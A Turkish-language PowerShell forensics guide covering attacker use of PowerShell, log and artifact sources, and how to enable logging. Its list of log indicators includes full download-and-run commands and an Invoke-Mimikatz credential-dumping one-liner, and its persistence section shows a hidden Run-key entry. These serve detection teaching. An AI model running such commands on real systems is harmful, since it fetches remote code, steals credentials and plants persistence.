PowerShell Forensics
PowerShell
Microsoft tarafından 2006 yılında oluşturulmuş, komut dosyası dili
özelliklerine sahip etkileşimli nesne yönelimli komut satırı ara yüzüdür. Bilgi
teknolojileri uzmanları tarafından, Windows işletim sistemine sahip sistemlerin
denetlenmesini ve otomatik işlemlerin gerçekleştirmesinde PowerShell scriptleri
kullanılmaktadır. PowerShell Microsoft .NET üzerine inşa edilmiş bir scrpiting
platformudur bundan dolayı nesne yönelimlidir. Ayrıca .NET framework’ün
sağladığı aynı işlevselliğe ve yazılım geliştiricilerin kullandığı diğer kod
kitaplıklarına erişim sağlamak mümkündür. Powershell hem etkileşimli bir dil
hem de bir komut dosyası aracı olarak işlev görür. Burada cmd den farkından da
bahsedebiliriz cmd (commandLine) sadece komut dosyası aracı olarak
kullanılmakta PowerShell ise hem komut hem de etkileşimli bir dil (scrpiting)
olarak kullanılabilmektedir. PowerShell, Windows, MacOS ve Linux tarafından
desteklenmektedir.
Powershell dosyaları C:\Windows\System32\WindowsPowerShell\v1.0 dizininde
bulunur.
PowerShell kullanılarak;
·
Bir den fazla komut
birleştirilerek çalıştırılabilir.
·
Uzaktan bağlantı yeteneği
sayesinde uzmanlar tarafından komutları sunucuya doğrudan çalıştırma yeteneği
sağlar.
·
PowerShell,
bilgisayardaki dosya sistemlerine erişmenize aracılık eder.
·
PowerShell sağlayıcıları,
kayıt defteri ve sertifika depoları gibi diğer veri depolarına, dosya sistemine
erişirken kolaylık sağlar.
·
PowerShell, COM ve WMI’a
tam erişim sağlayarak yöneticilerin hem yerel hem de uzak Windows sistemlerinde
yönetim görevlerini yerine getirmesine olanak tanır.
·
PowerShell çalışma
zamanının diğer uygulamaların içine yerleştirilebileceği bir barındırma API'si
de sağlar. Bu uygulamalar daha sonra PowerShell işlevini grafiksel arabirim
aracılığıyla belirli işlemleri uygulamak için kullanılabilir.
·
PowerShell ile
çalıştırılan komutlar klasik antivürsler ile tespit edilemez.
·
PowerShell scrpitleri
karmaşıklaştırılması oldukça kolaydır.
Tabi böyle gelişmiş özelliklere sahip ve tüm Windows sistemlerde default
olarak gelen güçlü bir komut ortamı ve komut dosyası dili sızma test frameworklerinde
ve siber saldırganlar tarafından giderek artan bir kullanım oranı vardır. Saldırganlar
PowerShell’i genellikle; dowloader, ransomware, backdoor, persistence, keşif
sağlama gibi komutları çalıştırabilirler. Empire, PowerSploit, Poshc2,
PSAttack, PowerShellMafia gibi PowerShell tabanlı saldırılar araçları da
mevcuttur.
PowerShell kullanılarak saldırı tekniklerine örnekler;
1.
Detect Empire with
PowerShell Script Block Logging [MITRE T1059.001]
2.
Detect Mimikatz With
PowerShell Script Block Logging [MITRE T1059.001]
3.
Powershell Fileless
Process Injection via GetProcAddress [MITRE T1059.001, T1055]
4.
Powershell Fileless
Script Contains Base64 Encoded Content [MITRE T1059.001, T1027]
5.
Unloading AMSI via
Reflection [MITRE T1562]
6.
PowerShell Domain
Enumeration [MITRE T1059.001]
7.
PowerShell Loading .NET
into Memory via System Reflection Assembly [MITRE T1059.001]
8.
Powershell Creating
Thread Mutex [MITRE T1027.005]
9.
Powershell Processing
Stream Of Data [MITRE T1059.001]
10.
Powershell Using memory
As Backing Store [MITRE T1140]
11.
Recon AVProduct Through
Pwh or WMI [MITRE T1592]
12.
Recon Using WMI Class
[MITRE T1592]
13.
WMI Recon Running Process
or Services [MITRE T1592]
14.
Allow Inbound Traffic In
Firewall Rule [MITRE T1021.001]
15.
Mailsniper Invoke
functions [MITRE T1114.001]
16.
Delete ShadowCopy With
PowerShell [MITRE T1490]
17.
PowerShell Enable
SMB1Protocol Feature [MITRE T1027.005]
18.
Detect WMI Event
Subscription Persistence [MITRE T1546.003]
Saldırganların PowerShell kullanma nedenlerine bakacak olursak;
1.
Tüm Windows sistemlerde
varsayılan olarak yüklenir.
2.
Komutları ve scrpitleri memory
üzerinden çalıştırabilir, bu da onu gizli hale getirir.
3.
Varsayılan olarak birkaç
iz oluşturur, bu da adli analiz altında bulmayı zorlaştırır.
4.
Varsayılan olarak şifreli
trafik ile uzaktan erişim özelliklerine sahiptir.
5.
Bir komut dosyası olarak,
geleneksel güvenlik araçlarıyla şaşırtmak kolaydır ve tespit etmek zordur.
6.
Savunmacılar,
sistemlerini sıkılaştırırken genellikle powershell’i gözden kaçırırlar.
7.
Yapılandırmaya bağlı
olarak uygulama beyaz listeye (whitelisting) alma araçlarını atlayabilir.
8.
Birçok ağ geçidi sanal
alanı, komut dosyası tabanlı kötü amaçlı yazılımları iyi işlemez.
9.
Hazır komut dosyalarıyla
büyüyen bir topluluğa sahiptir.
10.
Birçok sistem yöneticisi,
çerçeveyi kullanır ve ona güvenerek, PowerShell kötü amaçlı yazılımının düzenli
yönetim çalışmalarıyla uyum sağlamasına olanak tanır.
Gibi nedenlerden ötürü saldırganlar ve red team ekiplerince sıkça
kullanılmaktadır.
PowerShell Analizi Ve Loglama Türleri Geçmiş Komut
Analizi:
Forensics bakış açısı ile bir saldırgan powershell kullanarak sisteme
sızdığında belirli yerlerde iz bırakmaktadır. Saldırganın sisteme ne zaman
sızdığı, nasıl sızdığı, hangi komutları çalıştırdığı gibi bilgileri elde
edebiliriz. Mitre T1059.001 tarafından açıklandığı gibi, PowerShell sabit disk
üzerinde herhangi bir iz bırakmadan doğrudan hafıza (memory) üzerinde
çalıştırabilirler. Bu saldırı tehdit çeşidine “file-less threat” yani “dosyasız tehdit” denilmektedir. (https://docs.microsoft.com/en-us/microsoft-365/security/intelligence/filel
ess-threats? view=o365-worldwide) Bu tehditlerin tespit edilip analiz edilmesi
için çeşitli artifackler bulunur yani sistemde kötü amaçlı PowerShell
kullanımına ilişkin kanıt sağlayabilecek kanıt kaynakları bulunur. Bu
kaynaklar, Registry, preftech files, memory, event logs ve network trafiği
olabilir.
Registry
Yapılan testler ve powershell temelli saldırılarda, scrpitlerin çalışmasını
kaydeden herhangi bir registry değeri tanımlanmamıştır. Anacak saldırgan,
etkinliklerini kolaylaştırmak için registry’de bulunan PowerShell yapılandırma
ayarlarını değiştirebilir. Örneğin bir kullanıcının bir sistem yüklenmesine ve
çalışmasına izin verilen profillerin ve komut dosyaların kontrol eden
PowerShell çalışma ilkesi registry’de bulunur ve saldırgan tarafından
değiştirilebilir.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\
Prefetch File
Adli analiz sırasında, Preftech dosyaları önceden bir sistemde çalışan
dosyaların çalıştığına bir kanıt kaynağı olarak genellikle kullanılır. PowerShell tabanlı saldırılar gözlemlenerek
preftech dosyalarında powershell komut dosyalarına referanslar içerebilecek
kalıntılar olabileceği tespit edildi. Preftech dosyasına erişilen dosya
listesinde bulunabilmesi için powershell.exe çalışmasının ilk on saniyesinde
belirli bir komut dosyasının yüklenmesi gerekir.
Örnek olarak “powershell.exe -File “C:\temp\ persistence.ps1”” , sytanx bu
şekilde olan bir komut çalıştırıldı. Preftech dosyalarına bakıldığı zaman bir
artışın olduğu gözlemlendi. Preftech dosyasına bakıldığında önceden yüklenmiş
bir komut dosyası için erişilen dosya bilgilerini yine de tutabilir. Yani
Preftech dosyaları sayesinde, şüpheli saldırgan etkinliği ilişkili olup
olmadıklarını belirlemek için powershell preftech dosyalarının oluşma zaman
damgaları ve son çalışma zaman damgalarını incelenmelidir. Erişilen dosya
listesini parse edip ve ardından dize araması yapılması ve başvurulan tüm .PS1
dosyalarının adlarını ve yolları analiz edilebilir.
Event Logs
Herhangi bir PowerShell komutu veya scripti çalıştığından event loglar
üzerinde belirli kayıtlar oluşturmaktadır.
1-
Windows
PowerShell.evtx
Event ID 400: Engine status durumunu Noe to Avalibale olarak
değiştirir. Bu event local veya remote bir PowerShell aktivitesinin başladığını
gösterir. PowerShell tek bir komutun çalışması yerele bir oturumun başlatılması
veya uzaktan iletişim oturumunun başlaması üzerine her çalıştığında “Event ID
400” event mesajını kaydeder. “Engine state is changed from None to Available.”
yazar. Oturumun sonunda, Event ID 400 olayını kaydeder: “Engine state is
changed from Available to Stopped” şeklinde değiştirilir. Hiçbir ileti,
PowerShell etkinliğiyle ilişkili kullanıcı hesabını kaydetmez. Ancak, bu
olayları kullanarak bir analist, PowerShell oturumlarının süresini ve sıklığını
belirleyebilir.
Event ID 403: Engine durumu kullanılabilirden duruldu olarak
değiştirildiğinde oluşur. Bu olay bir powershell etkinliğinin tamamlandığını
kaydeder.
Event ID 600: WSMan gibi sağlayıcıların sistemde bir powershell
etkinliği gerçekleştirmeye başladığını belirtir, örneğin “Provider WSM Is
Started”. PowerShell'in yürütme politikasını atladığını görüyoruz. Bu aktivite genellikle
saldırganlar tarafından, varsayılan olarak politika "Kısıtlı" olarak
ayarlanan bu tür komut dosyalarını çalıştırmalarına izin vermek için yapılır.
Bu nedenle, PowerShell scriplerin yürütülmesini engeller.
2-
Microsoft-Windows-PowerShell%4Operational.evtx
PowerShell aracılığıyla yürütülenler de dahil olmak üzere Windows Uzaktan
Yönetim hizmetinin tüm kullanımını kaydeder. (PowerShell 2.0 versiyonu için
geçerli değildir)
EventID 169: Uzaktan iletişim etkinliğinin başlangıcında kaydedildi.
WinRM'ye erişmek için kullanılan bilgisayar veya etki alanı adını, kullanıcı
adını ve kimlik doğrulama mekanizmasını içerir.
EventID 81, 82, 134: PowerShell uzaktan kumandası sırasında meydana gelen
" under-the-hood " işlemler tarafından oluşturulur. Komut satırında
gönderilen belirli komutları kaydetmek yerine, bu girişler oldukça belirsiz ve
düşük seviyelidir. Bu olay günlüğü mesajlarındaki "Kullanıcı adı"
alanı, uzaktan iletişim etkinliğini yürüten hesabın etki alanını ve kullanıcı
adını kaydeder. Bunun yanı sıra, bu olaylar esas olarak uzaktan iletişimin
gerçekleştiği zaman çerçevesini tanımlamak için kullanışlıdır.
Scrpit Block Logging
Komut bloklarını PowerShell tarafından çalıştırıldığında kaydeder, böylece
komut dosyaları ve komutlar dahil olmak üzere bir saldırgan tarafından
yürütülen kodun tüm içeriğini yakalar. -EncodedCommand, XOR, Base64 ROT13 gibi
şifreleme algoritmalarını kullansa bile log kaydını oluşturur. PowerShell 5.0
dan sonra loglama oluşmuştur. Scrpit
Block Logging “Event ID 4104” PowerShell scrpits ve bloklar bu event tarafından
kaydedilir.
Script block logging, üzerinde yapılan test sonucunda, Invoke-Mimikatz
scripti çalıştığında 5 MB'lik 116 event oluştuğu tespit edilmiştir. Komut
dosyası bloklarının başlangıcını ve bitişini EID 4105 ve 4106'da komut dosyası
blok kimliğine göre kaydeder.
Module Logging
Değişken başlatma ve komut çağırıları dahil olmak üzere PowerShell
çalıştırırken ayrıntıları kaydeder. Module Logging de-obfuscated code, komut
dosyaların bölümlerini, gizlenmiş kodları ve çıtı için biçimlendirilmiş bazı
verileri kaydeder. Bu log kayıtları tüm attackları yakalayamıyor olsa bile
diğer loglar tarafından kaydedilmeyen bilgileri yakalayacaktır. Module logging
PowerShel 3.0 dan beri vardır. Module Logging “Event ID 4103” Bu event,
scrpitlerin komutlar bölümü gibi powershell'in işlem çalıştırma ayrıntılarını
kaydeder.
Module logging, Invoke-Mimikatz scrpitinin çalışması sırasında yaklaşık
olarak 7MB boyutunda log ve 22285 adet event oluştuğu test sonucunda tespit
edilmiştir. bu yakalanan eventlar diğer log kaynaklarında yakalanmayan değerli
çıktıları kaydeder.
Transcription
Tam olarak oturumda göründüğü gibi, tüm giriş ve çıkışlar dahil olmak üzere
her PowerShell oturumunun benzersiz bir kaydını oluşturur. Transkriptler metin
dosyalarına yazılır, kullanıcı ve oturuma göre ayrılır. Transkriptler ayrıca
analize yardımcı olmak için her komut için zaman damgaları ve meta veriler
içerir. Ancak, transkripsiyon yalnızca PowerShell terminalinde görünenleri
kaydeder; bu, yürütülen komut dosyalarının içeriğini veya dosya sistemi gibi
diğer hedeflere yazılan çıktıları içermez.
“PowerShell_transcript” ile başlayan otomatik olarak adlandırılır.
Varsayılan olarak, dökümler kullanıcının belgeler klasörüne yazılır, ancak
yerel sistem veya ağ üzerindeki herhangi bir erişilebilir konuma
yapılandırılabilir. En iyi uygulama, kopyaları, savunucuların verileri kolayca
gözden geçirebileceği ve saldırganların bunları kolayca silemeyeceği uzak, salt
okunur bir ağ paylaşımına yazmaktır
Microsoft-Windows-WinRM%4Operational.evtx
Windows Uzaktan Yönetim (WinRM) logu, PowerShell uzaktan iletişim
bağlantıları dahil olmak üzere gelen ve giden WinRM bağlantılarını kaydeder.
Günlük, kimliği doğrulamak için kullanılan kullanıcı adıyla birlikte kaynağı
(gelen bağlantılar) veya hedefi (giden bağlantılar) yakalar. Bu bağlantı
verileri, PowerShell uzaktan iletişim kullanılarak yanal hareketin izlenmesinde
değerli olabilir. İdeal olarak, WinRM günlüğü, en az bir yıllık verileri
depolamak için yeterli bir boyuta ayarlanmalıdır.
Komutlar bir powershell konsolunda gerçekleştirilirse bir oturum geçmişi,
yani geçerli oturum sırasında girilen komutların listesini kaydeder.
Get-History komutunu kullanarak oturama özel bir geçmiş tanımlanabilir oturum
kapatılırsa liste kaybolur.
ConsoleHost_history.txt
PowerShell v5’ten başlayarak default olarak sistemlerde kurulur. Konsola
yazılan tüm komutların ConsoleHost_history.txt kaydedilir. ConsoleHost_history.txt bulunduğu konum;
C:\Users\MA\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ConsoleHost_history.txt
Yukarıdaki belirtilen artifackler analiz edilerek
PowerShell kullanılarak güvenliğinin ihlal edildiğini doğrulayabiliriz
Log’lar analiz edilirken dikkat edilmesi gereken
PowerShell parametreleri;
·
IEX/ -Invoke-Expression:
String şeklinde komutları çalıştırmayı sağlar.
·
Stat-Process: Bir veya
birden fazla process çalıştırmayı sağlar.
·
(New-Object
System.Net.Webclient).DownloadString()
·
(New-Object
System.Net.Webclient).DownloadFile() : İki farklı komut fakat zararlı
yazılımlarda aynı işlevde kullanılmaktadır. Uzak bir sistem üzerinden dosya
indirmeyi sağlar.
·
-F/-ile: Komutları
dosyadan almayı sağlar.
·
-W Hidden/-WindowsStyle
Hidden: Çalıştırılan komut ya da betik için powershell komut satırını gizler.
·
-Enc/-EncodedCommand:
base64 ile encode edilmiş komutları çalıştırmayı sağlar.
·
Invoke-Command: yerel
olarak veya uzak bir bilgisayarda bir komutu çalıştıran cmdlet'i içerir
·
-NoP/-NoProfile (ignore
the commands in the profile file)
·
Exec
bypass/-ExecutionPolicy Bypass (ignore the execution policy restriction)
·
-NonI/-NonInteractive (do
not run an interactive shell)
·
-C/-Command (run a
single command)
·
Start-Process
·
DownloadFile($URL,$LocalFileLocation);Start-Process
·
$LocalFileLocation
·
DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%\Y.
ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile
-file %TEMP%\Y. ps1”
·
Invoke-Command, such as:
InvokeCommand <IPadress> {GetChildItem c:\ : Tek uzaktan cmdlet yürütme
aracılığıyla
·
Invoke-Command, such as:
InvokeCommand <IPadress> 150 {c:\ malware.exe} : Tek uzaktan binary
çalıştırma
·
Invoke-Mimikatz.ps1, such
as: InvokeCommand <IPadress> {iex((New-Object Net.WebClient).
DownloadString(‘https://raw. githubusercontent.com/ mattifestation/PowerSploit/
master/Exfiltration/InvokeMimikatz.ps1’)); Invoke-Mimikatz -DumpCreds}
·
Enter-PSSession <IPadress> Sözdizimi ile başlatılan uzaktan etkileşimli
PowerShell komut oturumu:
·
Category:
Kötü amaçlı PowerShell scriptleri yukardaki gibidir,
komut satırında yukarıda belirtilenlerden herhangi biri ile karşılaşıldığında
analiz edilmesinde derinleşilmelidir.
Persistent PowerShell
Saldırganlar bir
Windows sistemin, sistem başlatıldığında veya kullanıcının oturum açtıktan
sonra Powershell’i otomatik olarak çalıştıracak ve böylece ilk bulaşma
noktasının ötesinde devam edecek şekilde kendini yapılandırabilir. Kalıcılık,
backdoor veya keylogger gibi belirli amaç için yeniden başlatılması sürdürmeyi
amaçlar.
Kalıcılık sağlamak
için Windows mekanizmalarını kullanabilir. Registry auto-start extensibility
points (AESPs), scheduled tasks, user startup folders örnek verilebilir.
Registry kullanılarak
saldırgan c:\windows\system32\evil.ps1 dosyasına kalıcılık sağlamak isterse;
Key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value:
RunTotallyLegitPowerShell
Data: powershell.exe
-NonInteractive -WindowStyle Hidden -ExecutionPolicy bypass -File
"C:\windows\system32\evil.ps1"
Zamanlanmış görevler
veya Başlangıç klasörü gibi kayıt defterine bağlı olmayan diğer kalıcılık
tekniklerinin de benzer yönleri vardır: Yinelenen zamanlanmış görevler, %systemroot%\tasks
içindeki .job dosyalarının analizi ve Task Scheduler Operational Event Log kanıtlar
aracılığıyla tanımlanabilir.
Application Event
Logs (Application.evtx), Saldırganlar genellikle backdoor dediğimiz arka
kapılar sayesinde kalıcılık mekanizması olarak Windows Services olarak
kaydetmeye çalışırlar böylelikle sistem yeniden başlatıldığında sisteme
tekrardan sızma girişiminde bulunmadan oturum açarlar. Application.evtx
dosyasında 7045 Event ID New Service was installed olarak geçer. Sisteme bir
servis kurulduğunda 7045 event ıd’si oluşur.
Log Yapılandırması
Module Logging Enable
etmek için;
1- Run
veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy
Settings grafik kullanıcı arabirimi açılır.
2- Windows
PowerShell CPO ayarlarına gidilir
Computer
Configuration > Administrative Templates > Windows Components >
Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve
enable edilir.
3- Options
bölümünden Modül adını göstermek için tıklanır.
4- Modül
adaları penceresin de tüm modülleri kaydetmek için * karakteri girilir.
5- Sonra
tüm isterler ok butonuna basılarak kaydedilir.
Alternatif olarak,
registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging
→ EnableModuleLogging = 1
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging \ModuleNames → * =*
Scrpit Block Logging Enable etmek için;
1- Run
veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy
Settings grafik kullanıcı arabirimi açın.
2- Windows
PowerShell CPO ayarlarına gidilir
Computer
Configuration > Administrative Templates > Windows Components >
Windows PowerShell Sekmesine gidilir Turn on PowerShell Script Block Logging
çift tıklanılır ve enable edilir.
Alternatif olarak,
registry üzerindende aşağıda belirtilen keyler üzerinde değişiklik yapılabilir;
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
→ EnableScriptBlockLogging = 1
Transcription Logging
Enable etmek için;
1- Run
veya cmd (komut istemcisi) açarak gpedit.msc yazarak Local Group Policy Settings
grafik kullanıcı arabirimini açın.
2- Windows
PowerShell CPO ayarlarına gidilir
Computer
Configuration > Administrative Templates > Windows Components >
Windows PowerShell Sekmesine gidilir Turn on Module Logigng çift tıklanılır ve
enable edilir
Yapılan yapılandırma
ayarları Registry key altında saklanır
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription
→ EnableTranscripting = 1
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription
→ EnableInvocationHeader = 1
HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription
→ OutputDirectory = “” (Enter path. Empty = default)
ÖNERİ
Log kaynaklarının tümünün
etkinleştirilmesini önerir: modül logu, komut dosyası block logu ve
transkripsiyon. Bu kaynakların her biri, PowerShell etkinliğini analiz etmek
için değerli olan benzersiz verileri kaydeder
İdeal olarak,
verilerin makul bir süre boyunca korunmasını sağlamak için
Microsoft-Windows-PowerShell%4Operational.evtx PowerShell olay günlüğünün
boyutu 1 GB'a (veya kuruluşunuzun izin verdiği kadar büyük) yükseltilmelidir.
PowerShell günlüğü, günlüğü hızla döndüren büyük hacimli veriler üretir (tipik
yönetici veya saldırgan etkinliği sırasında dakikada 1 MB'a kadar gözlemlenmiştir).
KAYNAK
https://docs.microsoft.com/tr-tr/powershell/scripting/overview?view=powershell-7.2
https://github.com/PowerShell/PowerShell
https://tr.wikipedia.org/wiki/Windows_PowerShell
https://attack.mitre.org/techniques/T1059/001/